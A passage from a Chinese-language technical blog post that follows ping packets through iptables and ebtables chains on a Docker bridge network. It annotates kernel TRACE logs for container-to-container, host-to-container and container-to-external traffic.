SEQ=1 Trace target在数据包match table、chains的policy或rules时会输出日志，日志格式：”TRACE:tablename:chainname:type:rulenum”。当匹配到的是普通rules时，type=”rule”;当碰到一个user-defined chain的return target时，type=”return”；当匹配到built-in chain(比如：PREROUTING、INPUT、OUTPUT、FORWARD和POSTROUTING)的default policy时，type=”policy”。\n从上面的日志输出来看，似乎PREROUTING chain的raw table中的Trace target不能被trace自身match，因此trace log输出的是匹配raw table built-in chain: PREROUTING的default policy: ACCEPT，num=2(policy和rules整体排序后的序号)；在PREROUTING chain的nat表中匹配时，Trace也仅匹配到了default policy，rule 1（target: Docker）没有匹配上；\n这里有一点奇怪的是mangle table没有任何输出，即便是default policy的也没有，原因暂不明。\n3、bridge decision 根据全图和后续的日志，我们得到了bridge decision的结果：继续在linker layer上处理数据包，一路向右。不过在处理的路径上依旧调用了iptables的rules：\nTRACE: eb:filter:FORWARD IN=veth0594f4b OUT=veth57a3dec MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 TRACE: filter:FORWARD:rule:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: filter:DOCKER-USER:return:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: filter:FORWARD:rule:2 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: filter:DOCKER-ISOLATION:return:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: filter:FORWARD:rule:4 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: filter:DOCKER:return:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: filter:FORWARD:rule:6 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 bridge decision决定的依据或则规则是什么呢？《ebtables/iptables interaction on a Linux-based bridge》一文给了我们一些答案：\nThe bridge's decision for a frame can be one of these: * bridge it, if the destination MAC address is on another side of the bridge; * flood it over all the forwarding bridge ports, if the position of the box with the destination MAC is unknown to the bridge; * pass it to the higher protocol code (the IP code), if the destination MAC address is that of the bridge or of one of its ports; * ignore it, if the destination MAC address is located on the same side of the bridge. 不过即便按照这几条规则，我依然有一定困惑，那就是真实的处理是：依旧在linker layer，但掺杂了上层网络层的处理规则。\n另外，你可能会发现iptables log里MAC值的格式很怪异(比如：MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00)，非常long。其实这个MAC值是一个组合：Souce MAC, Destination MAC和 frame type的组合。\n02:42:c0:a8:00:03: Destination MAC=00:60:dd:45:67:ea 02:42:c0:a8:00:02: Source MAC=00:60:dd:45:4c:92 08:00 : Type=08:00 (ethernet frame carried an IPv4 datagram) 4、eb:nat:POSTROUTING -\u0026gt; nat:POSTROUTING -\u0026gt; egress(qdisc) 最后packet进入linker layer的POSTROUTING built-in chain：\nTRACE: eb:nat:POSTROUTING IN= OUT=veth57a3dec MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 TRACE: nat:POSTROUTING:policy:2 IN= OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 iptables nat:POSTROUTING没有匹配上docker引擎增加的那条target为DOCKER的rule，于是输出了default policy的日志。\n进入到egress(qdisc)后，相当于数据包到了bridge上的另一个slave port(veth57a3dec)上，此时数据包必须被送回网络上，于是进入到容器C2的eth0中。离开了host namespace，我们的日志便追踪不到了。\n容器c2因为所在的network namespace是独立于host namespace的，因此有自己的iptables规则（如果未设置，均为默认accept），不受host namespace中的iptables的影响。\n5、”消失”的iptable的nat:PREROUTING和nat:POSTROUTING C2容器回复ping response的路径与request甚为相似，这里一次性将全部日志列出：\nTRACE: eb:broute:BROUTING IN=veth57a3dec OUT= MAC source = 02:42:c0:a8:00:03 MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.3 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:nat:PREROUTING IN=veth57a3dec OUT= MAC source = 02:42:c0:a8:00:03 MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.3 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: raw:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth57a3dec MAC=02:42:c0:a8:00:02:02:42:c0:a8:00:03:08:00 SRC=192.168.0.3 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=5962 PROTO=ICMP TYPE=0 CODE=0 ID=90 SEQ=1 TRACE: eb:filter:FORWARD IN=veth57a3dec OUT=veth0594f4b MAC source = 02:42:c0:a8:00:03 MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.3 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: filter:FORWARD:rule:1 IN=docker0 OUT=docker0 PHYSIN=veth57a3dec PHYSOUT=veth0594f4b MAC=02:42:c0:a8:00:02:02:42:c0:a8:00:03:08:00 SRC=192.168.0.3 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=5962 PROTO=ICMP TYPE=0 CODE=0 ID=90 SEQ=1 TRACE: filter:DOCKER-USER:return:1 IN=docker0 OUT=docker0 PHYSIN=veth57a3dec PHYSOUT=veth0594f4b MAC=02:42:c0:a8:00:02:02:42:c0:a8:00:03:08:00 SRC=192.168.0.3 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=5962 PROTO=ICMP TYPE=0 CODE=0 ID=90 SEQ=1 TRACE: filter:FORWARD:rule:2 IN=docker0 OUT=docker0 PHYSIN=veth57a3dec PHYSOUT=veth0594f4b MAC=02:42:c0:a8:00:02:02:42:c0:a8:00:03:08:00 SRC=192.168.0.3 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=5962 PROTO=ICMP TYPE=0 CODE=0 ID=90 SEQ=1 TRACE: filter:DOCKER-ISOLATION:return:1 IN=docker0 OUT=docker0 PHYSIN=veth57a3dec PHYSOUT=veth0594f4b MAC=02:42:c0:a8:00:02:02:42:c0:a8:00:03:08:00 SRC=192.168.0.3 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=5962 PROTO=ICMP TYPE=0 CODE=0 ID=90 SEQ=1 TRACE: filter:FORWARD:rule:3 IN=docker0 OUT=docker0 PHYSIN=veth57a3dec PHYSOUT=veth0594f4b MAC=02:42:c0:a8:00:02:02:42:c0:a8:00:03:08:00 SRC=192.168.0.3 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=5962 PROTO=ICMP TYPE=0 CODE=0 ID=90 SEQ=1 TRACE: eb:nat:POSTROUTING IN= OUT=veth0594f4b MAC source = 02:42:c0:a8:00:03 MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.3 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 仔细观察，我们发现虽然与request的路径类似，但依旧有不同：iptable的nat:PREROUTING和nat:POSTROUTING消失了。Why？iptables就是这么设计的。iptables会跟踪connection的state，当一个connection的首个包经过一次后，connection的state由NEW变成了ESTABLISHED；对于ESTABLISHED的connection的后续packets，内核会自动按照该connection的首个包在nat:PREROUTING和nat:POSTROUTING环节的处理方式进行处理，而不再流经这两个链中的nat表逻辑。而ebtables中似乎没有这个逻辑。\n后续的ping的第二个、第三个流程也印证了上述设计，这里仅列出ping request packet 2：\nTRACE: eb:broute:BROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 TRACE: eb:nat:PREROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 TRACE: raw:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47310 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=2 TRACE: eb:filter:FORWARD IN=veth0594f4b OUT=veth57a3dec MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 TRACE: filter:FORWARD:rule:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47310 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=2 TRACE: filter:DOCKER-USER:return:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47310 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=2 TRACE: filter:FORWARD:rule:2 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47310 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=2 TRACE: filter:DOCKER-ISOLATION:return:1 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47310 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=2 TRACE: filter:FORWARD:rule:3 IN=docker0 OUT=docker0 PHYSIN=veth0594f4b PHYSOUT=veth57a3dec MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47310 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=2 TRACE: eb:nat:POSTROUTING IN= OUT=veth57a3dec MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 全部日志内容请参见：docker-bridge-network-demo-iptables-trace-log.txt文件，这里不赘述。\n四、Local Process to Container 很多”疑难”环节在上面的container to container数据流分析时已经做了解惑，因此后续local process to container和container to external流程将不会再细致描述，说明会略微泛泛一些，不那么细致。\n我们在host上执行ping C1三次：\n# ping -c 3 192.168.0.2 PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data. 64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.160 ms 64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.105 ms 64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.131 ms --- 192.168.0.2 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2000ms rtt min/avg/max/mdev = 0.105/0.132/0.160/0.022 ms 1、local process -\u0026gt; routing decision -\u0026gt; iptables OUTPUT chain ping request数据包从本地的ping process发出，根据目的地址路由后，选择docker0作为OUT设备：\nTRACE: raw:OUTPUT:policy:2 IN= OUT=docker0 SRC=192.168.0.1 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=18692 DF PROTO=ICMP TYPE=8 CODE=0 ID=30245 SEQ=1 UID=0 GID=0 TRACE: mangle:OUTPUT:policy:1 IN= OUT=docker0 SRC=192.168.0.1 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=18692 DF PROTO=ICMP TYPE=8 CODE=0 ID=30245 SEQ=1 UID=0 GID=0 TRACE: nat:OUTPUT:policy:2 IN= OUT=docker0 SRC=192.168.0.1 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=18692 DF PROTO=ICMP TYPE=8 CODE=0 ID=30245 SEQ=1 UID=0 GID=0 TRACE: filter:OUTPUT:policy:1 IN= OUT=docker0 SRC=192.168.0.1 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=18692 DF PROTO=ICMP TYPE=8 CODE=0 ID=30245 SEQ=1 UID=0 GID=0 奇怪的是这次mangle chain居然有trace log输出:(。\n2、进入linker layer：iptables POSTROUTING -\u0026gt; ebtables OUTPUT -\u0026gt; ebtables POSTROUTING 由于是OUT是bridge设备，因此要进入到ebtable中走一遭：\nTRACE: mangle:POSTROUTING:policy:1 IN= OUT=docker0 SRC=192.168.0.1 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=18692 DF PROTO=ICMP TYPE=8 CODE=0 ID=30245 SEQ=1 UID=0 GID=0 TRACE: nat:POSTROUTING:policy:2 IN= OUT=docker0 SRC=192.168.0.1 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=18692 DF PROTO=ICMP TYPE=8 CODE=0 ID=30245 SEQ=1 UID=0 GID=0 TRACE: eb:nat:OUTPUT IN= OUT=veth57a3dec MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.1 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:filter:OUTPUT IN= OUT=veth57a3dec MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.1 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:nat:POSTROUTING IN= OUT=veth57a3dec MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.1 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:nat:OUTPUT IN= OUT=veth0594f4b MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.1 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:filter:OUTPUT IN= OUT=veth0594f4b MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.1 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:nat:POSTROUTING IN= OUT=veth0594f4b MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=192.168.0.1 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 icmp的response和container to container类似，入口走的是linker layer(由于是桥设备)，在bridge decision后，走到INPUT chain：\nTRACE: eb:broute:BROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:ff:27:17:4d proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.1, IP tos=0x00, IP proto=1 TRACE: eb:nat:PREROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:ff:27:17:4d proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.1, IP tos=0x00, IP proto=1 TRACE: raw:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.1 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=56535 PROTO=ICMP TYPE=0 CODE=0 ID=30245 SEQ=1 TRACE: mangle:PREROUTING:policy:1 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.1 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=56535 PROTO=ICMP TYPE=0 CODE=0 ID=30245 SEQ=1 TRACE: eb:filter:INPUT IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:ff:27:17:4d proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.1, IP tos=0x00, IP proto=1 TRACE: mangle:INPUT:policy:1 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.1 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=56535 PROTO=ICMP TYPE=0 CODE=0 ID=30245 SEQ=1 TRACE: filter:INPUT:policy:1 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.1 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=56535 PROTO=ICMP TYPE=0 CODE=0 ID=30245 SEQ=1 以上我们可以与到非桥设备的ping做比对，我们在host上ping 另外一个LAN中的host：\n# ping -c 1 10.28.61.30 PING 10.28.61.30 (10.28.61.30) 56(84) bytes of data. 64 bytes from 10.28.61.30: icmp_seq=1 ttl=57 time=1.09 ms --- 10.28.61.30 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.093/1.093/1.093/0.000 ms 得到的trace log如下：\nicmp request: TRACE: raw:OUTPUT:policy:2 IN= OUT=eth0 SRC=10.171.77.0 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=4494 DF PROTO=ICMP TYPE=8 CODE=0 ID=30426 SEQ=1 UID=0 GID=0 TRACE: mangle:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.171.77.0 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=4494 DF PROTO=ICMP TYPE=8 CODE=0 ID=30426 SEQ=1 UID=0 GID=0 TRACE: nat:OUTPUT:policy:2 IN= OUT=eth0 SRC=10.171.77.0 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=4494 DF PROTO=ICMP TYPE=8 CODE=0 ID=30426 SEQ=1 UID=0 GID=0 TRACE: filter:OUTPUT:policy:1 IN= OUT=eth0 SRC=10.171.77.0 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=4494 DF PROTO=ICMP TYPE=8 CODE=0 ID=30426 SEQ=1 UID=0 GID=0 TRACE: mangle:POSTROUTING:policy:1 IN= OUT=eth0 SRC=10.171.77.0 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=4494 DF PROTO=ICMP TYPE=8 CODE=0 ID=30426 SEQ=1 UID=0 GID=0 TRACE: nat:POSTROUTING:policy:2 IN= OUT=eth0 SRC=10.171.77.0 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=4494 DF PROTO=ICMP TYPE=8 CODE=0 ID=30426 SEQ=1 UID=0 GID=0 icmp response: TRACE: raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=10.171.77.0 LEN=84 TOS=0x00 PREC=0x00 TTL=57 ID=61118 PROTO=ICMP TYPE=0 CODE=0 ID=30426 SEQ=1 TRACE: mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=10.171.77.0 LEN=84 TOS=0x00 PREC=0x00 TTL=57 ID=61118 PROTO=ICMP TYPE=0 CODE=0 ID=30426 SEQ=1 TRACE: mangle:INPUT:policy:1 IN=eth0 OUT= MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=10.171.77.0 LEN=84 TOS=0x00 PREC=0x00 TTL=57 ID=61118 PROTO=ICMP TYPE=0 CODE=0 ID=30426 SEQ=1 TRACE: filter:INPUT:policy:1 IN=eth0 OUT= MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=10.171.77.0 LEN=84 TOS=0x00 PREC=0x00 TTL=57 ID=61118 PROTO=ICMP TYPE=0 CODE=0 ID=30426 SEQ=1 可以对照着全图看出在request出去时，发现OUT设备不是bridge，直接走network layer的iptables rules，并从xfrm lookup出去，走到egress(qdisc); response回来时，进行bridge check后，发现IN设备eth0不是bridge，因此直接上到network layer，走iptable chain rules到local process。ebtable的log一行也没有输出。\n后续的两个icmp request\u0026amp;response大致相同，并且依旧不走nat PREROUTING和nat POSTROUTING，因为不再是NEW connection。\n五、Container to External 我们在c1 容器中ping 外部的一个节点三次：\n# docker exec c1 ping -c 3 10.28.61.30 PING 10.28.61.30 (10.28.61.30) 56(84) bytes of data. 64 bytes from 10.28.61.30: icmp_seq=1 ttl=56 time=1.32 ms 64 bytes from 10.28.61.30: icmp_seq=2 ttl=56 time=1.30 ms 64 bytes from 10.28.61.30: icmp_seq=3 ttl=56 time=1.21 ms --- 10.28.61.30 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 1.219/1.280/1.323/0.060 ms 1、start -\u0026gt; bridgecheck -\u0026gt; linker layer 和Container to Container的开端很类似，在bridge check后，数据流进入linker layer(docker0 is a bridge)，并在该层进行iptables PREROUTING rules的处理，直到bridge decision之前：\nTRACE: eb:broute:BROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:ff:27:17:4d proto = 0x0800 IP SRC=192.168.0.2 IP DST=10.28.61.30, IP tos=0x00, IP proto=1 TRACE: eb:nat:PREROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:ff:27:17:4d proto = 0x0800 IP SRC=192.168.0.2 IP DST=10.28.61.30, IP tos=0x00, IP proto=1 TRACE: raw:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: mangle:PREROUTING:policy:1 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: nat:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 2、ebtable filter:INPUT -\u0026gt; routing decision -\u0026gt; iptables FORWARD 目的地址为外部host ip，需要三层介入转发，于是数据包经由eb:filter:INPUT向上走到达network layer的routing decision，根据路由表，将包转发到eth0：\nTRACE: mangle:FORWARD:policy:1 IN=docker0 OUT=eth0 PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: filter:FORWARD:rule:1 IN=docker0 OUT=eth0 PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: filter:DOCKER-USER:return:1 IN=docker0 OUT=eth0 PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: filter:FORWARD:rule:2 IN=docker0 OUT=eth0 PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: filter:DOCKER-ISOLATION:return:1 IN=docker0 OUT=eth0 PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: filter:FORWARD:rule:5 IN=docker0 OUT=eth0 PHYSIN=veth0594f4b MAC=02:42:ff:27:17:4d:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 3、iptables nat:POSTROUTING match rule 1 由于要流出到主机外，因此在最后iptables nat:POSTROUTING中，数据包匹配到rule 1，即做MASQUERADE，将数据包源地址更换为host ip：10.171.77.0。\nTRACE: mangle:POSTROUTING:policy:1 IN= OUT=eth0 PHYSIN=veth0594f4b SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 TRACE: nat:POSTROUTING:rule:1 IN= OUT=eth0 PHYSIN=veth0594f4b SRC=192.168.0.2 DST=10.28.61.30 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=57351 DF PROTO=ICMP TYPE=8 CODE=0 ID=94 SEQ=1 4、iptables prerouting、forward、postrouting -\u0026gt; ebtabls output、postrouting 返回的应答由于IN设备为eth0，因此直接上到network layer进行iptable chain的处理。在路由后，OUT设备为docker0(bridge设备)，因此在最后的环节需要下降到linker layer做output和postrouting处理：\nTRACE: raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=10.171.77.0 LEN=84 TOS=0x00 PREC=0x00 TTL=57 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=10.171.77.0 LEN=84 TOS=0x00 PREC=0x00 TTL=57 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: mangle:FORWARD:policy:1 IN=eth0 OUT=docker0 MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 